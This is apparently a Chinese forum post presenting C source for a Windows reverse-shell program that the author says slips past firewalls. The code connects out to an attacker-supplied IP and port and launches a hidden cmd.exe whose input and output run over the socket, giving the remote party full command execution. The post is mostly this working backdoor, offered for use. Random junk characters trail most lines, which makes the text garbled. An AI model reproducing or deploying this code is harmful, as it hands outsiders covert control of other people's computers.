这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 :(E.sT"R
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/* ============================== \'x.DVp
Rebound port in Windows NT ;X*I,g.+H
By wind,2006/7 :.J Ad$>P
===============================*/ Gg8F>y<[R
#include "KSzn
#include
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#pragma comment(lib,"wsock32.lib") /{|JQ'gqX
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void OutputShell(); V\vt!wBcB
SOCKET sClient; IZn|1X?}\s
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 0M-=3 T
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void main(int argc,char **argv) ,Y ./9F
{ [2ez" 4e
WSADATA stWsaData; Ia
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int nRet; RR
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SOCKADDR_IN stSaiClient,stSaiServer; B 'SLyf
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if(argc != 3) hR(\ %p
{ =*>ri
printf("Useage:\n\rRebound DestIP DestPort\n"); *:}9(8d
return; Wa.y7S0(@
} eaB6e@]@
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WSAStartup(MAKEWORD(2,2),&stWsaData); }xJ ).D
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); zO)Bf(
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stSaiClient.sin_family = AF_INET; [&eG>zF"
stSaiClient.sin_port = htons(0); -Ph"#R&
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); bS7%%8C
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) k}18
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printf("Bind Socket Failed!\n"); =e*S h0dK
return; V96:+r
} [`(W(0U%
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stSaiServer.sin_family = AF_INET; `cgyiJ
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); sYa;vg4[
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); <Ukeq0
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) [SJ3FZ<
{ #7v=#Jco
printf("Connect Error!"); o=C:=
return; 0Sx$6:-~
} qg1tDN`s
OutputShell(); PJ-g.0q
} uidoz
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void OutputShell() Ndmki
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{ pmfL}Dn
char szBuff[1024]; \&BT#8ELG
SECURITY_ATTRIBUTES stSecurityAttributes; c'md)nD2M
OSVERSIONINFO stOsversionInfo; 0fE?(0pBj
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; !KC4[;Y
STARTUPINFO stStartupInfo; [jnA? Ge:
char *szShell; SR>(GQ,m0;
PROCESS_INFORMATION stProcessInformation; Jo'~oZ$
unsigned long lBytesRead; N||a0&&
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); vFwhe!
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); OjWg>v\v
stSecurityAttributes.lpSecurityDescriptor = 0; :6TLT-B
stSecurityAttributes.bInheritHandle = TRUE; JO-FnoQK
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); F rd>+
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); <5O:jd
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ,Jrm85oG
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; C[R|@9NI
stStartupInfo.wShowWindow = SW_HIDE; *)bh6b=7
stStartupInfo.hStdInput = hReadPipe; 0g'MFS
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 6qR5A+|;
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GetVersionEx(&stOsversionInfo); >1BDt:G36
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switch(stOsversionInfo.dwPlatformId) Rt.2]eZEJ
{ |\FJ
case 1: \)M
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szShell = "command.com"; 6DVHJ+WTV
break;
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default: blx"WVqo
szShell = "cmd.exe"; s{uSU1lQn
break; Lky T4HC8n
} JuDadIrd{
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); fA)4'7UT
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send(sClient,szMsg,77,0); yYH>~,
while(1) =xjtPmZ5X
{ G?+0#?'Y
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); _a\$uVZ
if(lBytesRead) tq=7HM
{ Owz>g4l
r
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); |33_="
send(sClient,szBuff,lBytesRead,0); T_ j0*A$
} {W'{A
else q|_Cj]{
{ o0kKf+[
lBytesRead=recv(sClient,szBuff,1024,0); +2#pP
if(lBytesRead<=0) break; mXT{c=N)w
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); L"L a|
} a(_3271
} NQx>u
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return; QfV:&b`
}